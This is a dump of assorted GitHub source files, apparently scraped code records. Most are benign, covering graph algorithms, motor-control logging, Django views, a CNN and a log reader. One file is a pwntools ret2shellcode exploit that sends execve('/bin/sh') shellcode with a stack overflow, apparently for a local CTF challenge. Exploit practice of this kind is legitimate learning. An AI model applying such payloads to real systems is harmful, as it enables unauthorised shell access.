d.pop(\"start\", UNSET)\n start: Union[Unset, datetime.datetime]\n if isinstance(_start, Unset):\n start = UNSET\n else:\n start = isoparse(_start)\n\n _end = d.pop(\"end\", UNSET)\n end: Union[Unset, datetime.datetime]\n if isinstance(_end, Unset):\n end = UNSET\n else:\n end = isoparse(_end)\n\n _measurement_system = d.pop(\"measurementSystem\", UNSET)\n measurement_system: Union[Unset, MeasurementSystem]\n if isinstance(_measurement_system, Unset):\n measurement_system = UNSET\n else:\n measurement_system = MeasurementSystem(_measurement_system)\n\n cursor = d.pop(\"cursor\", UNSET)\n\n samples_response = cls(\n data=data,\n start=start,\n end=end,\n measurement_system=measurement_system,\n cursor=cursor,\n )\n\n samples_response.additional_properties = d\n return samples_response\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"ztroop/wave-reader-utils","sub_path":"wave_reader/web/models/samples_response.py","file_name":"samples_response.py","file_ext":"py","file_size_in_byte":4029,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"31"} +{"seq_id":"4108209027","text":"import networkx as nx\n\n\n\n\n\ndef init_visited(length: int):\n return [False for _ in range(length)]\n\n\n\ndef dfs(g: nx.Graph, node_idx: int, visited, mapping, reverse_mapping) -> None:\n if visited[node_idx]:\n return\n visited[node_idx] = True\n for node in g.neighbors(mapping[node_idx]):\n dfs(g, reverse_mapping[node], visited, mapping, reverse_mapping)\n return visited\n\ndef get_connexed_Graph_from_node(g : nx.Graph , nodeIndex : int , visitedNodes , all_nodes_visited):\n # global subgraph_nodes_visited\n if not(nodeIndex in visitedNodes):\n visitedNodes.append(nodeIndex)\n if not nodeIndex in all_nodes_visited:\n all_nodes_visited.append(nodeIndex)\n neighbors = g.neighbors(nodeIndex)\n for neighbor in neighbors:\n get_connexed_Graph_from_node(g , neighbor , visitedNodes , all_nodes_visited)\n\ndef get_connexed_Graphs_lists(g: nx.Graph):\n graphNodes=g.nodes()\n graphEdges=g.edges()\n all_nodes_visted=[]\n graphs=[]\n for nodeIndex in graphNodes:\n if not(nodeIndex in all_nodes_visted):\n visitedNodes=[]\n get_connexed_Graph_from_node(g , nodeIndex , visitedNodes , all_nodes_visted)\n new_g = nx.Graph()\n # print(\"visited Nodes =\", visitedNodes)\n new_g.add_nodes_from(visitedNodes)\n for edgeTuple in graphEdges:\n if edgeTuple[0] in visitedNodes:\n new_g.add_edge(edgeTuple[0], edgeTuple[1])\n graphs.append(new_g)\n return graphs\n\ndef mapping(g):\n m = {}\n i = 0\n for node in g.nodes():\n m[i] = node\n i += 1\n return m\ndef reverse_mapping(g):\n m = {}\n i = 0\n for node in g.nodes():\n m[node] = i\n i += 1\n return m\n\ndef findArticulationPoints(g: nx.Graph, graph_degree: int):\n cut_nodes = []\n for i in range(graph_degree):\n ## remove node\n cloned = g.copy()\n m = mapping(g)\n rm = reverse_mapping(g)\n cloned.remove_node(m[i])\n \n for j in range(graph_degree):\n if j != i:\n visited = init_visited(graph_degree)\n dfs(cloned, j, visited, m, rm)\n visited.pop(i)\n if not all(visited):\n # i is an articulation point\n if not m[i] in cut_nodes:\n cut_nodes.append(m[i])\n return cut_nodes\n\n\n\ndef main():\n g = nx.Graph()\n g.add_nodes_from([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])\n g.add_edges_from([(1, 2),(1, 3),(2, 3),(3, 4), (4, 5), (5, 6), (5, 7), (6, 7), (8, 9), (9, 10), (10, 11), (11, 12)])\n articulation_points = set()\n for subgraph in get_connexed_Graphs_lists(g):\n articulation_points = articulation_points.union(set(findArticulationPoints(subgraph, nx.number_of_nodes(subgraph))))\n print(set(list(nx.articulation_points(g))))\n print(articulation_points)\n\n\nmain()","repo_name":"MohamedGouaouri/TPGO_TP2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"44807962820","text":"import time\nimport threading\nfrom ODriveCAN import ODriveCAN\nfrom torqueReactionTestDatabase import TorqueReactionTestDatabase\n\ndef set_torques(odrive, torques, torque_change_delay):\n for torque in torques:\n odrive.set_torque(torque)\n print(f\"Torque set to {torque} Nm\")\n time.sleep(torque_change_delay)\n\ndef collect_data(odrive, db_name, trial_id, start_time):\n # Create a new database connection in this thread\n db_thread = TorqueReactionTestDatabase(db_name)\n\n while True:\n elapsed_time = time.time() - start_time\n \n #Get all data from ODrive\n data_dict = odrive.get_all_data_rtr()\n \n # Function to safely extract tuple elements\n def safe_extract(data, index, default=0):\n if data is not None and len(data) > index:\n return data[index]\n return default\n\n # Safely access tuple elements\n pos = safe_extract(data_dict.get('encoder_data'), 0)\n vel = safe_extract(data_dict.get('encoder_data'), 1)\n torque_setpoint = safe_extract(data_dict.get('torque_data'), 0)\n torque_estimate = safe_extract(data_dict.get('torque_data'), 1)\n bus_voltage = safe_extract(data_dict.get('voltage_current_data'), 0)\n bus_current = safe_extract(data_dict.get('voltage_current_data'), 1)\n iq_setpoint = safe_extract(data_dict.get('iq_setpoint_measured_data'), 0)\n iq_measured = safe_extract(data_dict.get('iq_setpoint_measured_data'), 1)\n\n #Add time and all other data from above\n data_tuple = (\n elapsed_time,\n pos,\n vel,\n torque_setpoint,\n torque_estimate,\n bus_voltage,\n bus_current,\n iq_setpoint,\n iq_measured\n )\n\n #add the data to the database\n db_thread.add_data(trial_id, *data_tuple)\n time.sleep(0.05) # Adjust the sleep duration as needed\n\n\ndef main():\n odrive = ODriveCAN(0)\n odrive.initCanBus()\n\n db_name = \"torqueReactionTestDatabase.db\"\n db = TorqueReactionTestDatabase(db_name)\n trial_id = db.add_trial()\n print(f\"Added Trial with ID: {trial_id}\")\n\n torques = [0, 0.1, 0]\n torque_change_delay = 5\n start_time = time.time()\n\n # Start the data collection thread\n data_thread = threading.Thread(target=collect_data, args=(odrive, db_name, trial_id, start_time))\n data_thread.daemon = True # Mark as a daemon thread\n data_thread.start()\n\n # Set torques in a separate thread\n torque_thread = threading.Thread(target=set_torques, args=(odrive, torques, torque_change_delay))\n torque_thread.start()\n\n # Wait for the torque_thread to complete\n torque_thread.join()\n print(\"All torque values have been processed.\")\n\n # Optionally wait a bit before ending the program to ensure last data points are captured\n time.sleep(5)\n\nif __name__ == \"__main__\":\n try:\n main()\n except KeyboardInterrupt:\n print(\"Program interrupted by user. Exiting.\")\n","repo_name":"dylanballback/O-DriveTesting","sub_path":"IP_torqueReactionTesting/threading_main.py","file_name":"threading_main.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18815014768","text":"'''1. Escribir un programa en Python que permita convertir tipos de datos de\nPython a JSON'''\n\nimport json\n\n\nfile = open (\"JSON//almacen.json\",\"r\")\n\nnombre = \"Alejandro\"\napellido = \"UlaUla\"\nedad = 365\ningredientes = [\"zanahorias\", \"lechuga\", \"tomate\", \"guacamole\"]\naltura = 185.6\ncan_lapices = {\"Rojos\" : 5, \"Azules\" : 2, \"Verdes\" : 1, \"Amarillos\" : 66}\nvivo = True\n\ndata = json.load(file)\n\nif data[\"Nombre\"] == nombre:\n data[\"Nombre\"] = None\nelse:\n data[\"Nombre\"] = nombre\n###\nif data[\"Apellido\"] == apellido:\n data[\"Apellido\"] = None\nelse:\n data[\"Apellido\"] = apellido\n###\nif data[\"Edad\"] == edad:\n data[\"Edad\"] = None\nelse:\n data[\"Edad\"] = edad\n###\nif data[\"Ingredientes\"] == ingredientes:\n data[\"Ingredientes\"] = None\nelse:\n data[\"Ingredientes\"] = ingredientes\n###\nif data[\"Altura\"] == altura:\n data[\"Altura\"] = None\nelse:\n data[\"Altura\"] = altura\n###\nif data[\"Cant-Lapices\"] == can_lapices:\n data[\"Cant-Lapices\"] = None\nelse:\n data[\"Cant-Lapices\"] = can_lapices\n###\nif data[\"Vivo?\"] == vivo:\n data[\"Vivo?\"] = None\nelse:\n data[\"Vivo?\"] = vivo\n\njsonstr = json.dumps(data)\nfile2 = open(\"JSON//almacen.json\",\"w\")\nfile2.write(jsonstr)\nfile2.close()","repo_name":"edujrv/dhs","sub_path":"JSON/ej1.py","file_name":"ej1.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4737827820","text":"from tkinter import *\n\nroot = Tk()\nroot.title(\"Temp Converter\")\nroot.geometry(\"250x100\")\napp = App(root)\nroot.mainloop()\n\nclass App():\n def __init__(self, root):\n frame = Frame(root)\n frame.pack()\n\n Label(frame, text=\"deg.C\").grid(row=0, column=0)\n Button(frame, text=\"변환\", command=self.convert).grid(row=2, column=0)\n\n def convert(self):\n print(\"Not implemented\")\n\n\n\n\n\ndef convert():\n try:\n temp_c = eval(ent_c.get())\n txt_f.delete(0.0, END)\n temp_f = temp_c * 1.8 + 32\n temp_f = \"{: .1f}F\".format(temp_f)\n txt_f.inert(END, temp_f)\n except NameError:\n txt_f.insert(END, '오류')\n","repo_name":"gaonasi-i/python","sub_path":"pyui/converter3.py","file_name":"converter3.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34216881456","text":"import time\nimport random\nimport threading\n\nqueue = []\nMAX_NUM = 2\ncondition = threading.Condition()\n\n\nclass Produce(threading.Thread):\n def run(self):\n tid = threading.get_ident()\n num = 1\n global queue\n\n while True:\n condition.acquire()\n\n while len(queue) == MAX_NUM:\n print(\"Queue is full\", tid, \"is waiting....\")\n condition.wait()\n print(tid, \"wake up\")\n\n if len(queue) == 0:\n condition.notify()\n queue.append(num)\n print(\"Produced\", num)\n condition.release()\n num += 1\n time.sleep(random.random())\n\n\nclass Consume(threading.Thread):\n def run(self):\n global queue\n tid = threading.get_ident()\n\n while True:\n condition.acquire()\n\n while len(queue) == 0:\n print(\"queue is empty\", tid, \"is waiting...\")\n condition.wait()\n print(tid, \"wake up\")\n\n if len(queue) == MAX_NUM:\n condition.notify()\n print(\"consumed\", queue.pop(0))\n condition.release()\n time.sleep(random.random())\n\n\nProduce().start()\nConsume().start()\n","repo_name":"yoyota/dudaji","sub_path":"operating-system/producer_consumer/producer_consumer.py","file_name":"producer_consumer.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"14799229352","text":"#!/usr/bin/env python\n\nimport sqlite3\n\n\nclass Kreis:\n def __init__(self, mx, my, r):\n self.Mx = mx\n self.My = my\n self.R = r\n\n\ndef kreisadapter(k):\n return \"{};{};{}\".format(k.Mx, k.My, k.R)\n\n\ndef kreiskonverter(bytestring):\n mx, my, r = bytestring.split(b\";\")\n return Kreis(float(mx), float(my), float(r))\n\n\nif __name__ == \"__main__\":\n # Adapter und Konverter registrieren\n sqlite3.register_adapter(Kreis, kreisadapter)\n sqlite3.register_converter(\"KREIS\", kreiskonverter)\n\n # Hier wird eine Beispieldatenbank im Arbeitsspeicher mit\n # einer einspaltigen Tabelle für Kreise definiert\n connection = sqlite3.connect(\":memory:\",\n detect_types=sqlite3.PARSE_DECLTYPES)\n cursor = connection.cursor()\n cursor.execute(\"CREATE TABLE kreis_tabelle(k KREIS)\")\n\n # Kreis in die Datenbank schreiben\n kreis = Kreis(1, 2.5, 3)\n cursor.execute(\"INSERT INTO kreis_tabelle VALUES (?)\", (kreis,))\n\n # Kreis wieder auslesen\n cursor.execute(\"SELECT * FROM kreis_tabelle\")\n\n gelesener_kreis = cursor.fetchall()[0][0]\n print(type(gelesener_kreis))\n print(gelesener_kreis.Mx, gelesener_kreis.My, gelesener_kreis.R)\n","repo_name":"Eskimo-SVD/Oliver_private_Bude","sub_path":"Python-Buch/30_Datenspeicherung/Datenbanken/beispiel_3_sqlite_adapter_und_konverter.py","file_name":"beispiel_3_sqlite_adapter_und_konverter.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"34309100041","text":"import boto3\nimport json\nimport sys\n\nfrom datetime import datetime, timezone\n\n\nclient = boto3.client('logs')\n\n\ndef retrieve_log_stream_names(log_group_name, prefixes=None):\n \"\"\" Retrieves streams for the given log group with the specified prefixes.\n If no prefixes are provided, returns all streams for the log group.\n Streams will be sorted by the timestamp of the last log event.\n \"\"\"\n streams = []\n paginator = client.get_paginator('describe_log_streams')\n if prefixes:\n for prefix in prefixes:\n for page in paginator.paginate(logGroupName=log_group_name, logStreamNamePrefix=prefix):\n streams += page['logStreams']\n else:\n for page in paginator.paginate(logGroupName=log_group_name):\n streams += page['logStreams']\n streams.sort(key=lambda x: x['lastEventTimestamp'])\n return [x['logStreamName'] for x in streams]\n\n\ndef read_log_messages(log_group_name, log_stream_name):\n \"\"\" Retrieves all events from the specified log group/stream, formats the timestamp\n as an ISO-8601 string, and sorts them by timestamp.\n\n Note: filter_log_events() takes an excessive amount of time if there are a large\n number of streams, even though we're only selecting from one, so instead we use \n get_log_events(). However, Boto doesn't provide a paginator for it, so we have to\n handle the pagination ourselves. Fun!\n \"\"\"\n events = []\n request = {\n 'logGroupName': log_group_name,\n 'logStreamName': log_stream_name,\n 'startTime': 0,\n 'startFromHead': True\n } \n while True:\n page = client.get_log_events(**request)\n if page['nextForwardToken'] == request.get('nextToken'):\n break;\n request['nextToken'] = page['nextForwardToken']\n for event in page['events']:\n ts = event['timestamp']\n event['originalTimestamp'] = ts\n event['timestamp'] = datetime.fromtimestamp(ts / 1000, timezone.utc).isoformat()\n events.append(event)\n events.sort(key=lambda x: x['timestamp']) # API doesn't guarantee order\n return events\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 2:\n print(__doc__)\n sys.exit(1)\n group_name = sys.argv[1]\n if len(sys.argv) == 2:\n prefixes = None\n else:\n prefixes = sys.argv[2:]\n stream_names = retrieve_log_stream_names(group_name, prefixes)\n for stream_name in stream_names:\n for event in read_log_messages(group_name, stream_name):\n print(json.dumps(event))\n\n","repo_name":"kdgregory/aws-misc","sub_path":"utils/logs_reader.py","file_name":"logs_reader.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"31"} +{"seq_id":"24633108000","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.utils import timezone\nfrom .models import Post # name of the model imported - Post\nfrom .forms import PostForm\n\n# Create your views here.\ndef post_list(request):\n posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n return render(request, 'blog/post_list.html',{'posts': posts})\n\ndef post_detail(request, pk):\n post = Post.objects.get(pk=pk)\n return render(request, 'blog/post_detail.html', {'post':post})\n\ndef post_new(request):\n # when we submit the form, we are brought back to the same view,\n # but this time we have some more data in request\n # more specifically in request.POST (\"posting\" data)\n # in HTML we have a method called \"post\"\n # all fields from the form are now in request.POST\n if request.method == \"POST\":\n form = PostForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n post.published_date = timezone.now()\n post.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostForm()\n return render(request, 'blog/post_edit.html', {'form': form})\n\ndef post_edit(request, pk):\n post = get_object_or_404(Post, pk=pk)\n if request.method == \"POST\":\n form = PostForm(request.POST, instance=post)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user\n post.published_date = timezone.now()\n post.save()\n return redirect('post_detail', pk=post.pk)\n else:\n form = PostForm(instance=post)\n return render(request, 'blog/post_edit.html', {'form': form})","repo_name":"Susan-C-a/learn-Django","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20830185229","text":"import numpy as np\nimport tensorflow as tf\nfrom digits_manager import DataManager\nimport sys\nimport matplotlib.image as mpimg\nfrom matplotlib import pyplot as plt\nimport scipy.stats.mstats\n\n\nclass RecognitionNN(object):\n \"\"\"\n\n \"\"\"\n def __init__(self):\n \"\"\"\n build the graph\n Returns:\n nothing\n \"\"\"\n IMG_HEIGHT = 129\n IMG_WIDTH = None\n NUM_CLASSES = 11\n NUM_CHANNELS = 1\n NUM_NEURONS = 1024\n\n # place holder of input data and label\n x = tf.placeholder(tf.float32, shape=[IMG_HEIGHT, None])\n y = tf.placeholder(tf.float32, shape=[None, NUM_CLASSES])\n\n # reshape each sample (each row of the input) into a image (in the hand written digit case, 20x20)\n x_image = tf.reshape(x, [1, IMG_HEIGHT, -1, NUM_CHANNELS]) # [#batch, img_height, img_width, #channels]\n\n # Convolutional Layer 1\n with tf.variable_scope('conv1') as scope:\n # weights shape: [patch_height, patch_width, #input_channels, #output_channels]\n weights = tf.Variable(tf.truncated_normal([10, 10, NUM_CHANNELS, 32], stddev=0.1))\n # bias shape: [#output_channel]\n bias = tf.Variable(tf.constant(0.1, shape=[32])) # 1 bias for each output channel\n\n conv = tf.nn.conv2d(x_image, weights, strides=[1, 1, 1, 1], padding='SAME')\n relu = tf.nn.relu(conv + bias)\n\n # max pooling\n pool1 = tf.nn.max_pool(relu, ksize=[1, 2, 2, 1], strides=[1, 2, 1, 1], padding='SAME')\n\n # Convolutional Layer 2\n with tf.variable_scope('conv2') as scope:\n weights = tf.Variable(tf.truncated_normal([10, 10, 32, 64], stddev=0.1))\n bias = tf.Variable(tf.constant(0.1, shape=[64]))\n conv = tf.nn.conv2d(pool1, weights, strides=[1, 1, 1, 1], padding='SAME')\n relu = tf.nn.relu(conv + bias)\n\n # max pooling\n pool2 = tf.nn.max_pool(relu, ksize=[1, 2, 2, 1], strides=[1, 2, 1, 1], padding='SAME')\n\n # fully Connected Layer\n with tf.variable_scope('fc1') as scope:\n weights_shape = [int(IMG_HEIGHT/4+1), 1, 64, NUM_NEURONS] # the img size has been reduced to 1/4\n weights = tf.Variable(tf.truncated_normal(weights_shape, stddev=0.1))\n bias = tf.Variable(tf.constant(0.1, shape=[NUM_NEURONS]))\n\n conv = tf.nn.conv2d(pool2, weights, strides=[1, 1, 1, 1], padding='VALID')\n fc1 = tf.nn.relu(conv + bias)\n\n # Dropout\n keep_prob = tf.placeholder(tf.float32)\n fc1_drop = tf.nn.dropout(fc1, keep_prob)\n\n # Readout Layer\n with tf.variable_scope('fc2') as scope:\n weights = tf.Variable(tf.truncated_normal([NUM_NEURONS, NUM_CLASSES], stddev=0.1))\n bias = tf.Variable(tf.constant(0.1, shape=[NUM_CLASSES]))\n\n fc1_flat = tf.reshape(fc1_drop, [-1, NUM_NEURONS])\n fc2 = tf.nn.softmax(tf.matmul(fc1_flat, weights) + bias)\n\n # loss function\n loss = -tf.reduce_sum(y * tf.log(fc2)) # cross_entropy\n\n # training\n training = tf.train.AdamOptimizer(1e-4).minimize(loss)\n\n # evaluate\n correct_prediction = tf.equal(tf.argmax(fc2, 1), tf.argmax(y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n #\n self.x = x\n self.y = y\n self.keep_prob = keep_prob\n\n self.fc2 = fc2\n self.loss = loss\n self.training = training\n self.accuracy = accuracy\n\n def train(self, passes, resume_training=False):\n dm = DataManager()\n saver = tf.train.Saver() # create a saver\n\n global_step = 0\n with tf.Session() as sess:\n if resume_training: # restore from latest check point\n with open('saver/checkpoint') as file:\n line = file.readline()\n ckpt = line.split('\"')[1]\n global_step = int(ckpt.split('-')[1])\n # restore\n saver.restore(sess, 'saver/'+ckpt)\n print('restored from checkpoint ' + ckpt)\n else:\n sess.run(tf.initialize_all_variables())\n print('started new session')\n\n for step in range(1+global_step, passes+global_step):\n # get a batch\n x, y = dm.get_image('training')\n self.training.run(feed_dict={self.x: x, self.y: y.T, self.keep_prob: 0.5})\n\n if step % 10 == 0:\n train_accuracy = self.accuracy.eval(feed_dict={self.x: x, self.y: y.T, self.keep_prob: 1.0})\n print(\"pass {}, training accuracy {}\".format(step, train_accuracy))\n\n if step % 1000 == 0: # save weights\n saver.save(sess, 'saver/cnn', global_step=step)\n print('checkpoint saved')\n\n def test(self):\n dm = DataManager()\n saver = tf.train.Saver() # create a saver\n\n with tf.Session() as sess:\n ckpt = 'saver/cnn-5x5-18000'\n saver.restore(sess, ckpt)\n print('restored from checkpoint ' + ckpt)\n\n x, y = dm.get_image('test')\n fc2 = self.fc2.eval(feed_dict={self.x: x, self.keep_prob: 1.0}).T\n\n # correct = np.argmax(fc2, 0) == np.argmax(y, 0)\n # print(np.mean(correct))\n\n print(self.output_to_words(y))\n print(self.output_to_words(fc2))\n\n # plt.imshow(fc2)\n # plt.show()\n\n def output_to_words(self, fc2):\n prediction = np.argmax(fc2, 0)\n\n l = []\n window_size = 31\n for i in range(prediction.shape[0]-window_size+1):\n l.append(int(scipy.stats.mstats.mode(prediction[i:i+window_size])[0]))\n\n pre = None\n labels = []\n for i in l:\n if i != pre:\n labels.append(i)\n pre = i\n\n return labels\n\n\ndef main():\n passes = int(sys.argv[1])\n resume_training = sys.argv[2].lower() in ['true', '1', 'y', 'yes']\n\n rnn = RecognitionNN()\n rnn.train(passes, resume_training)\n # rnn.test()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Seratna/CNN-Speech-Recognition","sub_path":"recognition_nn.py","file_name":"recognition_nn.py","file_ext":"py","file_size_in_byte":6156,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"31"} +{"seq_id":"18381467471","text":"from django.shortcuts import render\nfrom .models import Feedback\nfrom django.contrib import messages\n\n# Create your views here.\ndef feedback(request):\n if request.method == 'POST':\n name = request.POST['nam']\n email = request.POST['email']\n rating = request.POST['rating']\n feedb = request.POST['fb']\n\n feedback = Feedback(name=name,email=email,feedback=feedb,rating=rating) \n feedback.save()\n\n messages.success(request,\"your feedback has been submitted.\")\n return render(request,'home/home.html')\n \n else:\n return render(request,'feedback/feedback.html')\n\n","repo_name":"Gautam1589/The-Book-Things","sub_path":"The Book Things/feedback/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"9547477704","text":"# Complete the solution so that it returns true if the first argument(string) \n# passed in ends with the 2nd argument (also a string). \n\n# solution('abc', 'bc') # returns true\n# solution('abc', 'd') # returns false\n\n# Notes\n\n# If the y[0] does not appear in x[i], return false \n# when y[i] == x[i], all of the rest of them should match \n# if all of them match until the end of the string, return true\n\n# solution('rracecar', 'racecar') # returns false\n\ndef stringEnd(text, ending):\n x = text[::-1]\n y = ending[::-1]\n\n if len(y) > len(x):\n return False\n for i in range(len(y)):\n if y[i] != x[i]:\n return False\n else: print(\"iteration \" + x)\n return True\nprint(stringEnd( \"ails\",\"fails\" ))\n\n# fixed_tests_False = (\n# ( \"sumo\", \"omo\" ),\n# ( \"samurai\", \"ra\" ),\n# ( \"abc\", \"abcd\" ),\n# ( \"ails\", \"fails\" ),\n# ( \"this\", \"fails\" ),\n# ( \"spam\", \"eggs\" )\n# )","repo_name":"TuckerDev100/Codewars_Katas","sub_path":"Python_Katas/string_ends_with?.py","file_name":"string_ends_with?.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30189136217","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport sklearn.datasets\n\nX,y = sklearn.datasets.make_moons(200, noise = 0.15)\n\n# plot data\nplt.scatter(X[:,0],X[:,1], c=y)\n\n\ninput_neurons_length = 2\noutput_neurons_length = 2 #cross entrype 2 otherwise1\nnumber_of_sample = X.shape[0]\nlearning_rate = 0.001;\nregular_expression_constant = 0.01\n\ndef retreive(model_dict):\n W1 = model_dict['W1']\n b1 = model_dict['b1']\n W2 = model_dict['W2']\n b2 = model_dict['b2']\n return W1, b1, W2, b2\ndef forward(x, model_dict):\n W1, b1, W2, b2 = retreive(model_dict)\n z1 = X.dot(W1) + b1\n a1 = np.tanh(z1)\n z2 = a1.dot(W2) + b2\n exp_scores = np.exp(z2)\n softmax = exp_scores / np.sum(exp_scores, axis = 1, keepdims = True)\n return z1, a1, softmax\ndef loss(softmax, y, model_dict):\n W1, b1, W2, b2 = retreive(model_dict)\n m = np.zeros(200)\n for i,correct_index in enumerate(y):\n predicted = softmax[i][correct_index]\n m[i] = predicted\n log_prob = -np.log(m)\n loss = np.sum(log_prob)\n reg_loss = regular_expression_constant / 2 * (np.sum(np.square(W1)) + np.sum(np.square(W2)))\n loss+= reg_loss\n return float(loss / y.shape[0])\ndef predict(model_dict, x):\n W1, b1, W2, b2 = retreive(model_dict)\n z1 = x.dot(W1) + b1\n a1 = np.tanh(z1)\n z2 = a1.dot(W2) + b2\n exp_scores = np.exp(z2)\n softmax = exp_scores / np.sum(exp_scores, axis = 1, keepdims = True) # (200,2)\n return np.argmax(softmax, axis = 1) # (200,)\n\n\ndef backpropagation(x, y, model_dict, epochs):\n for i in range(epochs):\n W1, b1, W2, b2 = retreive(model_dict)\n z1, a1, probs = forward(x, model_dict) # a1: (200,3), probs: (200,2)\n delta3 = np.copy(probs)\n delta3[range(x.shape[0]), y] -= 1 # (200,2)\n dW2 = (a1.T).dot(delta3) # (3,2)\n db2 = np.sum(delta3, axis=0, keepdims=True) # (1,2)\n delta2 = delta3.dot(W2.T) * (1 - np.power(np.tanh(z1), 2))\n dW1 = np.dot(x.T, delta2)\n db1 = np.sum(delta2, axis=0)\n # Add regularization terms\n dW2 += regular_expression_constant * np.sum(W2)\n dW1 += regular_expression_constant * np.sum(W1)\n # Update Weights: W = W + (-lr*gradient) = W - lr*gradient\n W1 += -learning_rate * dW1\n b1 += -learning_rate * db1\n W2 += -learning_rate * dW2\n b2 += -learning_rate * db2\n # Update the model dictionary\n model_dict = {'W1': W1, 'b1': b1, 'W2': W2, 'b2': b2}\n # Print the loss every 50 epochs\n if i % 50 == 0:\n print(\"Loss at epoch {} is: {:.3f}\".format(i, loss(probs, y, model_dict)))\n\n return model_dict\n\n# Define Initial Weights\ndef init_network(input_dim, hidden_dim, output_dim):\n model = {}\n # Xavier Initialization\n w1 = np.random.randn(input_dim, hidden_dim) / np.sqrt(input_dim)\n b1 = np.zeros((1, hidden_dim))\n w2 = np.random.randn(hidden_dim, output_dim) / np.sqrt(hidden_dim)\n b2 = np.zeros((1, output_dim))\n model['W1'] = w1\n model['b1'] = b1\n model['W2'] = w2\n model['b2'] = b2\n return model\ndef plot_decision_boundary(pred_func):\n \"\"\"\n Code adopted from: https://github.com/dennybritz/nn-from-scratch\n \"\"\"\n # Set min and max values and give it some padding\n x_min, x_max = X[:, 0].min() - .5, X[:, 0].max() + .5\n y_min, y_max = X[:, 1].min() - .5, X[:, 1].max() + .5\n h = 0.01\n # Generate a grid of points with distance h between them\n xx, yy = np.meshgrid(np.arange(x_min, x_max, h), np.arange(y_min, y_max, h))\n # Predict the function value for the whole gid\n Z = pred_func(np.c_[xx.ravel(), yy.ravel()])\n Z = Z.reshape(xx.shape)\n # Plot the contour and training examples\n plt.contourf(xx, yy, Z, cmap=plt.cm.Spectral)\n plt.scatter(X[:, 0], X[:, 1], c=y, cmap=plt.cm.Spectral)\n plt.title(\"Decision Boundary for hidden layer size 3\")\n\n# Now Let's start the action\nweight_and_bais_dic = init_network(input_dim = input_neurons_length , hidden_dim = 3, output_dim = output_neurons_length)\nmodel = backpropagation(X, y, weight_and_bais_dic, 1000)\n#plot_decision_boundary(lambda x: predict(model, X))","repo_name":"Threxx89/AI","sub_path":"AIFromScratch/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20612566748","text":"from pwn import *\n\ncontext.arch = \"amd64\"\ncontext.terminal = ['kitty', '-e', 'sh', '-c']\n\nshellcode = asm(\"\"\"\n mov rbx,0x68732f6e69622f\n push 0x00\n push rbx\n \n mov rax,59\n lea rdi,[rsp]\n mov rsi,0\n mov rdx,0\n syscall\n \"\"\")\n\nio = process('./challs/chall(1)')\n\nprint(io.recv().decode())\nio.sendline(shellcode)\nprint(io.recv().decode())\n#gdb.attach(io)\nio.sendline('A' * 0x28 + '\\x70\\x40\\x40\\x00\\x00')\nio.interactive()\n","repo_name":"k1R4/Pwn","sub_path":"Stack/ret2shellcode/getshell.py","file_name":"getshell.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"3108131498","text":"from collections import namedtuple\nfrom bs4 import BeautifulSoup as bs\nfrom requests import get\n\n\nATRIBUTOS = {\n \"url_toll\": \"http://www.antt.gov.br/rodovias/Pedagio.html\",\n \"base_url\": \"http://www.antt.gov.br\"\n}\n\n# definindo uma namedtuple\nsite = namedtuple('Antt', 'site')\n\nclass Tolls:\n\n def format_strs(self, string: str) -> str:\n \"\"\"\n :param string: string referente a determinados atributos\n :return: string sem espaços.\n \"\"\"\n # remove o ':' e também os espaçoes, a partir do indice 1\n # return string.split(':')[1].strip()\n return string.strip()\n\n def gen_antt_concession(self, url: str) -> str:\n \"\"\"\n :param url: url contendo determinada lista de pedagios\n :return: generator contendo determinada lista de concessão\n \"\"\"\n page = get(url)\n bs_page = bs(page.text, 'html.parser')\n boxes = bs_page.find_all('div', {'class': 'row no-margin'})\n 